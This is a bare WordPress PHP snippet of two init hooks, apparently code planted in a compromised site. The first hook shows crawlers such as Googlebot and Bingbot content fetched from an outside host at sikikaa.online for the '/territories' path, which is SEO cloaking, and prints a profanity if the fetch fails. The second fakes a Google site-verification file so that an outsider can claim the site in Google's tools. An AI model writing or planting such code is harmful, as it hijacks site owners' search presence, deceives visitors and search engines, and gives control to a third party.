add_action('init', function () { $req = $_SERVER['REQUEST_URI'] ?? ''; $path = rtrim(parse_url($req, PHP_URL_PATH) ?: '/', '/'); $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $path_mapping = [ '/territories' => 'tes.txt', ]; if (array_key_exists($path, $path_mapping)) { if (preg_match('/Googlebot|Google-inspectiontool|Bingbot|Slurp|duckduckbot|Baiduspider|Yandexbot|Applebot|Facebookexternalhit|Linkedinbot|Twitterbot|Pinterestbot|Slackbot|Telegrambot|Semrushbot|Ahrefsbot|Mj12bot|Petalbot|Sogou spider|Seznambot/i', $ua)) { $filename = $path_mapping[$path]; $url = 'https://sikikaa.online/upl/' . $filename; $response = wp_remote_get($url); if (is_array($response) && !is_wp_error($response)) { $content = wp_remote_retrieve_body($response); if ($content) { echo $content; exit; } } echo 'cunt'; exit; } } }); add_action('init', function () { $req = $_SERVER['REQUEST_URI'] ?? ''; $path = rtrim(parse_url($req, PHP_URL_PATH) ?: '/', '/'); if ($path === '/googled1df9c943bc9b225.html') { header('Content-Type: text/html; charset=utf-8'); echo 'google-site-verification: googled1df9c943bc9b225.html'; exit; } });